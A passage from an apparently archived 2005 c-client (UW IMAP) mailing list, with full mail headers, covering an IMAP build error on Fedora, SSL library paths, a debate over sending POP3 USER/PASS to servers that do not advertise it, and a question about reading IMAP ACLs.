ip4_unix.c ip_unix.c ln: `ip_unix.c': File exists make[3]: *** [onceenv] Error 1 make[3]: Leaving directory `/usr/local/imap-2004c1/c-client' make[2]: *** [slx] Error 2 make[2]: Leaving directory `/usr/local/imap-2004c1/c-client' make[1]: *** [OSTYPE] Error 2 make[1]: Leaving directory `/usr/local/imap-2004c1' make: *** [slx] Error 2 I've found that other users compiling this had no problem on fedora (using the slx as machine type). I'm using fedora 3. I figured dovecot was maybe conflicting, but I removed the dovecot package and same error comes up. I try other OS types (lnx, lrh) and still nothing. Any ideas? =20 Thanks, mike ------_=_NextPart_001_01C508A3.0881751F Content-Type: text/html; charset="us-ascii" Content-Transfer-Encoding: quoted-printable

    I'm trying to compile IMAP and I keep getting the following = error:
    imap-2004c1]# make slx
    .
    .
    .
    ln -s ip4_unix.c ip_unix.c
    ln: `ip_unix.c': File exists
    make[3]: *** [onceenv] Error 1
    make[3]: Leaving directory `/usr/local/imap-2004c1/c-client'
    make[2]: *** [slx] Error 2
    make[2]: Leaving directory `/usr/local/imap-2004c1/c-client'
    make[1]: *** [OSTYPE] Error 2
    make[1]: Leaving directory `/usr/local/imap-2004c1'
    make: *** [slx] Error 2


    I've found that other users compiling this had no problem on fedora = (using the slx as machine type). I'm using fedora 3. I figured dovecot was maybe conflicting, but I removed the dovecot package and same error comes up. = I try other OS types (lnx, lrh) and still nothing. Any = ideas?

     

    Thanks,
    mike

    ------_=_NextPart_001_01C508A3.0881751F-- -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Tue Feb 1 13:39:05 2005 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Tue, 1 Feb 2005 13:39:05 -0800 (PST) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.13.1+UW04.08/8.13.3+UW05.01) with ESMTP id j11Ld4Wm001979 for ; Tue, 1 Feb 2005 13:39:04 -0800 Received: from list1.u.washington.edu (list1.u.washington.edu [140.142.8.99]) by mx1.cac.washington.edu (8.13.3+UW05.01/8.13.3+UW05.01) with ESMTP id j11Ld3aY006257 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Tue, 1 Feb 2005 13:39:04 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list1.u.washington.edu (8.13.3+UW05.01/8.13.3+UW05.01) with SMTP id j11Lctj4016012; Tue, 1 Feb 2005 13:38:56 -0800 Received: from mxi2.u.washington.edu (mxi2.u.washington.edu [140.142.33.12]) by lists.u.washington.edu (8.13.3+UW05.01/8.13.3+UW05.01) with ESMTP id j11LbsEj007876 for ; Tue, 1 Feb 2005 13:37:54 -0800 Received: from mxout3.cac.washington.edu (mxout3.cac.washington.edu [140.142.32.166]) by mxi2.u.washington.edu (8.13.3+UW05.01/8.13.3+UW05.01) with ESMTP id j11LbrWa003376 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Tue, 1 Feb 2005 13:37:54 -0800 Received: from smtp.washington.edu (smtp.washington.edu [140.142.32.139]) by mxout3.cac.washington.edu (8.13.1+UW04.08/8.13.3+UW05.01) with ESMTP id j11Lbr8a002702; Tue, 1 Feb 2005 13:37:53 -0800 Received: from Tomobiki-Cho.CAC.Washington.EDU (tomobiki-cho.cac.washington.edu [128.95.135.58]) (authenticated bits=0) by smtp.washington.edu (8.13.1+UW04.08/8.13.3+UW05.01) with ESMTP id j11LbrT1013991 (version=TLSv1/SSLv3 cipher=RC4-MD5 bits=128 verify=NOT); Tue, 1 Feb 2005 13:37:53 -0800 Message-Id: Date: Tue, 1 Feb 2005 13:37:53 -0800 (Pacific Standard Time) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: "Kowal, Michael" Cc: c-client@u.washington.edu Subject: Re: compile error In-Reply-To: <0F71D28420ADCD47AC019BEFD80339D2529329@callisto.unv.campus.wpunj.edu> References: <0F71D28420ADCD47AC019BEFD80339D2529329@callisto.unv.campus.wpunj.edu> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed X-Sender: mrc@ndcms.cac.washington.edu X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__CT 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __MIME_VERSION 0, __SANE_MSGID 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Tue, 1 Feb 2005, Kowal, Michael wrote: > ln: `ip_unix.c': File exists ip_unix.c is a file that is made as part of the build. It should not exist when the build is started. Try doing a "make clean" and then try the build again. If you got your copy from a third-party, try getting it directly from the UW distribution at: ftp://ftp.cac.washington.edu/mail/imap.tar.Z -- Mark -- http://staff.washington.edu/mrc Science does not emerge from voting, party politics, or public debate. Si vis pacem, para bellum. From pinedev@shivax2.cac.washington.edu Tue Feb 1 16:33:05 2005 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Tue, 1 Feb 2005 16:33:05 -0800 (PST) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.13.1+UW04.08/8.13.3+UW05.01) with ESMTP id j120X50r009427 for ; Tue, 1 Feb 2005 16:33:05 -0800 Received: from list4.u.washington.edu (list4.u.washington.edu [140.142.14.167]) by mx1.cac.washington.edu (8.13.3+UW05.01/8.13.3+UW05.01) with ESMTP id j120X4u9019974 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Tue, 1 Feb 2005 16:33:04 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list4.u.washington.edu (8.13.3+UW05.01/8.13.3+UW05.01) with SMTP id j120WrLd017024; Tue, 1 Feb 2005 16:32:53 -0800 Received: from mxi3.u.washington.edu (mxi3.u.washington.edu [140.142.32.176]) by lists.u.washington.edu (8.13.3+UW05.01/8.13.3+UW05.01) with ESMTP id j120VRYb087836 for ; Tue, 1 Feb 2005 16:31:27 -0800 Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by mxi3.u.washington.edu (8.13.3+UW05.01/8.13.3+UW05.01) with ESMTP id j120VQKX030350 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=FAIL) for ; Tue, 1 Feb 2005 16:31:26 -0800 Received: from mxout2.cac.washington.edu (mxout2.cac.washington.edu [140.142.33.4]) by mx1.cac.washington.edu (8.13.3+UW05.01/8.13.3+UW05.01) with ESMTP id j120VP14019880 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Tue, 1 Feb 2005 16:31:26 -0800 Received: from smtp.washington.edu (smtp.washington.edu [140.142.32.139]) by mxout2.cac.washington.edu (8.13.1+UW04.08/8.13.3+UW05.01) with ESMTP id j120VPEv006582; Tue, 1 Feb 2005 16:31:25 -0800 Received: from Tomobiki-Cho.CAC.Washington.EDU (tomobiki-cho.cac.washington.edu [128.95.135.58]) (authenticated bits=0) by smtp.washington.edu (8.13.1+UW04.08/8.13.3+UW05.01) with ESMTP id j120VPTd021354 (version=TLSv1/SSLv3 cipher=RC4-MD5 bits=128 verify=NOT); Tue, 1 Feb 2005 16:31:25 -0800 Message-Id: Date: Tue, 1 Feb 2005 16:31:25 -0800 (Pacific Standard Time) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: Vadim Zeitlin Cc: c-client Interest List Subject: Re[2]: POP servers not advertising USER in CAPA reply In-Reply-To: References: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed X-Sender: mrc@ndcms.cac.washington.edu X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__CT 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __MIME_VERSION 0, __SANE_MSGID 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Tue, 1 Feb 2005, Vadim Zeitlin wrote: > In theory I totally agree but in practice there is this broken server > which doesn't support any other way to login except by using USER but still > doesn't advertise it. It's clearly is a bug in server implementation and > using USER is the only way to work around it. The server may not be broken. They may have an administrative policy that clients should use the SSL POP3 service (port 995) instead of unencrypted POP3 port 110; but for the benefit of old pre-SSL clients (which also would not use CAPA) it allows the USER/PASS commands. > The alternative is to not be > able to login at all which may be correct (although in fact I don't see > anything specifically forbidding use of USER in RFC 2449, it only states > that its presence in CAPA response means that USER/PASS are supported but > doesn't say anything about its absence!) but is absolutely useless. Not at all. Did you try the SSL POP3 service? > Speaking practically, what problems can I have if I still use USER even if > the server doesn't advertise it? Doing so violates the specifications, and may very well violate the intentions of the POP3 server administrator. Worse, you may find yourself accused of "behaving just like Microsoft" in violating specifications for convenience. All too often the excuse of "a necessary workaround" has been offered as to why Outlook, etc. violates a specification. Still worse, if it's considered to be something that c-client does, *I* will be accused of "behaving just like Microsoft." No thanks. :-) > AFAICS in the worst case the server will > reply that command is not supported. This doesn't seem very bad to me. No. If it doesn't reject until the PASS command then the result is that passwords are sent in the clear. -- Mark -- http://staff.washington.edu/mrc Science does not emerge from voting, party politics, or public debate. Si vis pacem, para bellum. From pinedev@shivax2.cac.washington.edu Tue Feb 1 17:16:15 2005 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Tue, 1 Feb 2005 17:16:15 -0800 (PST) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.13.1+UW04.08/8.13.3+UW05.01) with ESMTP id j121GEub010778 for ; Tue, 1 Feb 2005 17:16:14 -0800 Received: from list2.u.washington.edu (list2.u.washington.edu [140.142.14.165]) by mx2.cac.washington.edu (8.13.3+UW05.01/8.13.3+UW05.01) with ESMTP id j121GD8t025968 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Tue, 1 Feb 2005 17:16:14 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list2.u.washington.edu (8.13.3+UW05.01/8.13.3+UW05.01) with SMTP id j121G4l5014692; Tue, 1 Feb 2005 17:16:04 -0800 Received: from mxi1.u.washington.edu (mxi1.u.washington.edu [140.142.32.143]) by lists.u.washington.edu (8.13.3+UW05.01/8.13.3+UW05.01) with ESMTP id j121Er8o063792 for ; Tue, 1 Feb 2005 17:14:53 -0800 Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by mxi1.u.washington.edu (8.13.3+UW05.01/8.13.3+UW05.01) with ESMTP id j121EqJx012634 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=FAIL) for ; Tue, 1 Feb 2005 17:14:53 -0800 Received: from ns0.typhoon.co.jp (ns0.typhoon.co.jp [210.174.160.130]) by mx1.cac.washington.edu (8.13.3+UW05.01/8.13.3+UW05.01) with ESMTP id j121EpbI022934 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Tue, 1 Feb 2005 17:14:52 -0800 Received: from ns0.typhoon.co.jp (localhost [127.0.0.1]) by ns0.typhoon.co.jp (8.13.3/8.13.3/TIS) with ESMTP id j121EnW9083066 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Wed, 2 Feb 2005 10:14:50 +0900 (JST) Received: from localhost (nfung@localhost) by ns0.typhoon.co.jp (8.13.3/8.13.3/Submit) with ESMTP id j121EnPr083063 for ; Wed, 2 Feb 2005 10:14:49 +0900 (JST) Message-Id: Date: Wed, 2 Feb 2005 10:14:49 +0900 (JST) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: ml To: c-client Interest List Subject: Re[2]: POP servers not advertising USER in CAPA reply In-Reply-To: References: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Virus-Scanned: ClamAV version 0.81, clamav-milter version 0.81b on ns0.typhoon.co.jp X-Virus-Status: Clean X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__CT 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __MIME_VERSION 0, __SANE_MSGID 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Tue, 1 Feb 2005, Mark Crispin wrote: >On Tue, 1 Feb 2005, Vadim Zeitlin wrote: >> In theory I totally agree but in practice there is this broken server >> which doesn't support any other way to login except by using USER but still >> doesn't advertise it. It's clearly is a bug in server implementation and >> using USER is the only way to work around it. > >The server may not be broken. > >They may have an administrative policy that clients should use the SSL >POP3 service (port 995) instead of unencrypted POP3 port 110; but for the >benefit of old pre-SSL clients (which also would not use CAPA) it allows >the USER/PASS commands. I have come across at least two pop servers that don't advertise USER and yet don't use SSL-POP3 nor any other authentication schemes. Both of them are at rather large ISPs (here in Japan.) As the chance of getting their sys. adm. to change their behavior is less than zero, I had to patch my c-client-based stuff. Nonetheless, the c-client distrubtion should NOT be changed in order to serve mis-configured servers. It is the responsibility of c-client users, like myself to make the relevant changes. And yes, the banner offered by my patched ipopd clearly shows that it has been patched:) -- N. -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Tue Feb 1 19:49:19 2005 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Tue, 1 Feb 2005 19:49:19 -0800 (PST) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.13.1+UW04.08/8.13.3+UW05.01) with ESMTP id j123nI0v014705 for ; Tue, 1 Feb 2005 19:49:18 -0800 Received: from list2.u.washington.edu (list2.u.washington.edu [140.142.14.165]) by mx1.cac.washington.edu (8.13.3+UW05.01/8.13.3+UW05.01) with ESMTP id j123nHT9000680 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Tue, 1 Feb 2005 19:49:18 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list2.u.washington.edu (8.13.3+UW05.01/8.13.3+UW05.01) with SMTP id j123nAwX014714; Tue, 1 Feb 2005 19:49:11 -0800 Received: from mxe5.u.washington.edu (mxe5.u.washington.edu [140.142.32.168]) by lists.u.washington.edu (8.13.3+UW05.01/8.13.3+UW05.01) with ESMTP id j123l7lC023686 for ; Tue, 1 Feb 2005 19:47:07 -0800 Received: from orion.unv.campus.wpunj.edu (unvowa.wpunj.edu [149.151.2.122]) by mxe5.u.washington.edu (8.13.3+UW05.01/8.13.3+UW05.01) with ESMTP id j123l6ND005172 for ; Tue, 1 Feb 2005 19:47:07 -0800 Received: from callisto.unv.campus.wpunj.edu ([149.151.2.121]) by orion.unv.campus.wpunj.edu with Microsoft SMTPSVC(6.0.3790.211); Tue, 1 Feb 2005 22:47:06 -0500 Message-Id: <0F71D28420ADCD47AC019BEFD80339D2529356@callisto.unv.campus.wpunj.edu> Date: Tue, 1 Feb 2005 22:47:03 -0500 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: "Kowal, Michael" To: "Mark Crispin" Cc: Subject: RE: compile error Content-class: urn:content-classes:message MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: quoted-printable X-MimeOLE: Produced By Microsoft Exchange V6.5.7226.0 X-MS-Has-Attach: X-MS-TNEF-Correlator: X-OriginalArrivalTime: 02 Feb 2005 03:47:06.0338 (UTC) FILETIME=[DD48AC20:01C508D9] X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__CT 0, __CTE 0, __CTYPE_CHARSET_QUOTED 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __IMS_MSGID 0, __MIME_VERSION 0, __SANE_MSGID 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Worked perfectly, but I get errors about SSL. Is there a way I can tell make where my installation of SSL is (e.g ssl is currently installed in /usr/local/ssl/)? Thanks, mike -----Original Message----- From: mrc@ndcms.cac.washington.edu [mailto:mrc@ndcms.cac.washington.edu] On Behalf Of Mark Crispin Sent: Tuesday, February 01, 2005 4:38 PM To: Kowal, Michael Cc: c-client@u.washington.edu Subject: Re: compile error On Tue, 1 Feb 2005, Kowal, Michael wrote: > ln: `ip_unix.c': File exists ip_unix.c is a file that is made as part of the build. It should not=20 exist when the build is started. Try doing a "make clean" and then try the build again. If you got your copy from a third-party, try getting it directly from the=20 UW distribution at: ftp://ftp.cac.washington.edu/mail/imap.tar.Z -- Mark -- http://staff.washington.edu/mrc Science does not emerge from voting, party politics, or public debate. Si vis pacem, para bellum. From pinedev@shivax2.cac.washington.edu Tue Feb 1 19:56:49 2005 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Tue, 1 Feb 2005 19:56:49 -0800 (PST) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.13.1+UW04.08/8.13.3+UW05.01) with ESMTP id j123uniT014866 for ; Tue, 1 Feb 2005 19:56:49 -0800 Received: from list1.u.washington.edu (list1.u.washington.edu [140.142.8.99]) by mx2.cac.washington.edu (8.13.3+UW05.01/8.13.3+UW05.01) with ESMTP id j123umTW001398 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Tue, 1 Feb 2005 19:56:49 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list1.u.washington.edu (8.13.3+UW05.01/8.13.3+UW05.01) with SMTP id j123ugIx015982; Tue, 1 Feb 2005 19:56:42 -0800 Received: from mxi2.u.washington.edu (mxi2.u.washington.edu [140.142.33.12]) by lists.u.washington.edu (8.13.3+UW05.01/8.13.3+UW05.01) with ESMTP id j123uI2c049940 for ; Tue, 1 Feb 2005 19:56:18 -0800 Received: from mxout3.cac.washington.edu (mxout3.cac.washington.edu [140.142.32.166]) by mxi2.u.washington.edu (8.13.3+UW05.01/8.13.3+UW05.01) with ESMTP id j123uHvJ028467 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Tue, 1 Feb 2005 19:56:17 -0800 Received: from smtp.washington.edu (smtp.washington.edu [140.142.33.9]) by mxout3.cac.washington.edu (8.13.1+UW04.08/8.13.3+UW05.01) with ESMTP id j123uH2d002626; Tue, 1 Feb 2005 19:56:17 -0800 Received: from Shimo-Tomobiki.panda.com (panda.com [206.124.149.114]) (authenticated bits=0) by smtp.washington.edu (8.13.1+UW04.08/8.13.3+UW05.01) with ESMTP id j123uFPP024781 (version=TLSv1/SSLv3 cipher=RC4-MD5 bits=128 verify=NOT); Tue, 1 Feb 2005 19:56:16 -0800 Message-Id: Date: Tue, 1 Feb 2005 19:56:13 -0800 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: "Kowal, Michael" Cc: c-client@u.washington.edu Subject: RE: compile error In-Reply-To: <0F71D28420ADCD47AC019BEFD80339D2529356@callisto.unv.campus.wpunj.edu> References: <0F71D28420ADCD47AC019BEFD80339D2529356@callisto.unv.campus.wpunj.edu> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed X-Sender: mrc@ndcms.cac.washington.edu X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__CT 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __MIME_VERSION 0, __SANE_MSGID 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Tue, 1 Feb 2005, Kowal, Michael wrote: > Worked perfectly, but I get errors about SSL. Is there a way I can tell > make where my installation of SSL is (e.g ssl is currently installed in > /usr/local/ssl/)? /usr/local/ssl is the default location. If you are building on Linux, you should use "make lnp" or "make slx" rather than one of the vendor versions (e.g. "make lrh"). The only difference between the vendor versions and "make lnp" is that the vendor versions reflect their non-default locations for SSL. -- Mark -- http://staff.washington.edu/mrc Science does not emerge from voting, party politics, or public debate. Si vis pacem, para bellum. From pinedev@shivax2.cac.washington.edu Wed Feb 2 02:09:13 2005 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Wed, 2 Feb 2005 02:09:13 -0800 (PST) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.13.1+UW04.08/8.13.3+UW05.01) with ESMTP id j12A9DGN027467 for ; Wed, 2 Feb 2005 02:09:13 -0800 Received: from list2.u.washington.edu (list2.u.washington.edu [140.142.14.165]) by mx1.cac.washington.edu (8.13.3+UW05.01/8.13.3+UW05.01) with ESMTP id j12A9C8S024473 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Wed, 2 Feb 2005 02:09:13 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list2.u.washington.edu (8.13.3+UW05.01/8.13.3+UW05.01) with SMTP id j12A91mV014642; Wed, 2 Feb 2005 02:09:01 -0800 Received: from mxe2.u.washington.edu (mxe2.u.washington.edu [140.142.33.14]) by lists.u.washington.edu (8.13.3+UW05.01/8.13.3+UW05.01) with ESMTP id j12A7nlq023952 for ; Wed, 2 Feb 2005 02:07:50 -0800 Received: from smtp.multitel.be (tcts.fpms.ac.be [193.190.194.194]) by mxe2.u.washington.edu (8.13.3+UW05.01/8.13.3+UW05.01) with ESMTP id j12A7me6006074 for ; Wed, 2 Feb 2005 02:07:48 -0800 Received: from localhost (localhost [127.0.0.1]) by smtp.multitel.be (Postfix) with ESMTP id 59BF929AC51 for ; Wed, 2 Feb 2005 11:38:27 +0100 (CET) Received: from smtp.multitel.be ([127.0.0.1]) by localhost (pop.multitel.be [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id 30574-07 for ; Wed, 2 Feb 2005 11:38:26 +0100 (CET) Received: from www.multitel.be (multitel000010.multitel.be [192.168.0.10]) by smtp.multitel.be (Postfix) with ESMTP id 8FDF629AC50 for ; Wed, 2 Feb 2005 11:38:26 +0100 (CET) Received: by www.multitel.be (Postfix, from userid 33) id 2DBC61224A2; Wed, 2 Feb 2005 11:13:16 +0100 (CET) Received: from multitel009031.multitel.be (multitel009031.multitel.be [172.16.9.31]) by mail.multitel.be (Horde) with HTTP for ; Wed, 2 Feb 2005 11:13:16 +0100 Message-Id: <20050202111316.951sz7oohgn4sogs@mail.multitel.be> Date: Wed, 2 Feb 2005 11:13:16 +0100 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: hamaide@multitel.be To: c-client@u.washington.edu Subject: Get imap acl MIME-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1 Content-Disposition: inline Content-Transfer-Encoding: 7bit X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at multitel.be X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='NO_REAL_NAME 0, __CD 0, __CT 0, __CTE 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __MIME_VERSION 0, __SANE_MSGID 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Hi, How can I access imap ACL? Do I have to write a callback and use driver function, or can I access it using mail_parameters?? I can't find anything on this in the docs. Thanks Julien Hamaide ---------------------------------------------------------------- This message was sent using IMP, the Internet Messaging Program. -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Wed Feb 2 02:54:05 2005 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Wed, 2 Feb 2005 02:54:05 -0800 (PST) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.13.1+UW04.08/8.13.3+UW05.01) with ESMTP id j12As5OY029641 for ; Wed, 2 Feb 2005 02:54:05 -0800 Received: from list3.u.washington.edu (list3.u.washington.edu [140.142.8.100]) by mx2.cac.washington.edu (8.13.3+UW05.01/8.13.3+UW05.01) with ESMTP id j12As3GF020920 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Wed, 2 Feb 2005 02:54:04 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list3.u.washington.edu (8.13.3+UW05.01/8.13.3+UW05.01) with SMTP id j12Arvkq018906; Wed, 2 Feb 2005 02:53:57 -0800 Received: from mxi2.u.washington.edu (mxi2.u.washington.edu [140.142.33.12]) by lists.u.washington.edu (8.13.3+UW05.01/8.13.3+UW05.01) with ESMTP id j12Ar6lW020202 for ; Wed, 2 Feb 2005 02:53:06 -0800 Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by mxi2.u.washington.edu (8.13.3+UW05.01/8.13.3+UW05.01) with ESMTP id j12Ar6Jb027490 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=FAIL) for ; Wed, 2 Feb 2005 02:53:06 -0800 Received: from smtp.tt-solutions.com (sunset.tt-solutions.com [81.56.246.156]) by mx1.cac.washington.edu (8.13.3+UW05.01/8.13.3+UW05.01) with ESMTP id j12Ar3KP027216 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Wed, 2 Feb 2005 02:53:05 -0800 Received: from nightfall ([192.168.17.76]) by smtp.tt-solutions.com with esmtp (Exim 3.35 #1 (Debian)) id 1CwI84-0000JL-00 for ; Wed, 02 Feb 2005 11:53:00 +0100 Message-Id: Date: Wed, 2 Feb 2005 11:53:05 +0100 (Romance Standard Time) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Vadim Zeitlin To: c-client Interest List Subject: Re[3]: POP servers not advertising USER in CAPA reply In-Reply-To: References: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII Content-Disposition: INLINE X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__CD 0, __CT 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __MIME_VERSION 0, __SANE_MSGID 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Tue, 1 Feb 2005 16:31:25 -0800 (Pacific Standard Time) Mark Crispin wrote: MC> On Tue, 1 Feb 2005, Vadim Zeitlin wrote: MC> > In theory I totally agree but in practice there is this broken server MC> > which doesn't support any other way to login except by using USER but still MC> > doesn't advertise it. It's clearly is a bug in server implementation and MC> > using USER is the only way to work around it. MC> MC> The server may not be broken. Unfortunately in this case it definitely is. It does not support neither TLS nor SSL (again, I should have written it from the beginning, sorry for omitting to say this). MC> They may have an administrative policy that clients should use the SSL MC> POP3 service (port 995) instead of unencrypted POP3 port 110; but for the MC> benefit of old pre-SSL clients (which also would not use CAPA) it allows MC> the USER/PASS commands. Ok, but if they [still] allow it, there mustn't be much harm in using it. I would understand if they only allowed SSL logins perfectly well, but they don't. In fact, they don't support them at all. MC> Not at all. Did you try the SSL POP3 service? Yes. MC> > Speaking practically, what problems can I have if I still use USER even if MC> > the server doesn't advertise it? MC> MC> Doing so violates the specifications, and may very well violate the MC> intentions of the POP3 server administrator. Again, not in this case. MC> Worse, you may find yourself accused of "behaving just like Microsoft" in MC> violating specifications for convenience. All too often the excuse of "a MC> necessary workaround" has been offered as to why Outlook, etc. violates a MC> specification. MC> MC> Still worse, if it's considered to be something that c-client does, I MC> will be accused of "behaving just like Microsoft." No thanks. :-) I understand your point of view but you should realize, of course, that I am going to patch my c-client version (once again) because I can't tell the user with a straight face that I am not going to fix it when it's a whole of one line fix. So it's just going to be one more patch in my version of c-client and one more reason I can't use "official" (although at least in Debian case there are quite a few patches in it too) version of the library packaged by Debian, RedHat and so on. Not a big deal for me as there are other issues which are much more important for me which I had to patch in my version but I still can't prevent myself from thinking that all this is a big waste of effort and that having at least an option in c-client to enable the behaviour which makes sense to the users couldn't really be such a bad thing. Regards, VZ -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Wed Feb 2 10:26:41 2005 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Wed, 2 Feb 2005 10:26:41 -0800 (PST) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.13.1+UW04.08/8.13.3+UW05.01) with ESMTP id j12IQf0w015043 for ; Wed, 2 Feb 2005 10:26:41 -0800 Received: from list4.u.washington.edu (list4.u.washington.edu [140.142.14.167]) by mx1.cac.washington.edu (8.13.3+UW05.01/8.13.3+UW05.01) with ESMTP id j12IQeA2026237 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Wed, 2 Feb 2005 10:26:41 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list4.u.washington.edu (8.13.3+UW05.01/8.13.3+UW05.01) with SMTP id j12IQX4j008682; Wed, 2 Feb 2005 10:26:33 -0800 Received: from mxi1.u.washington.edu 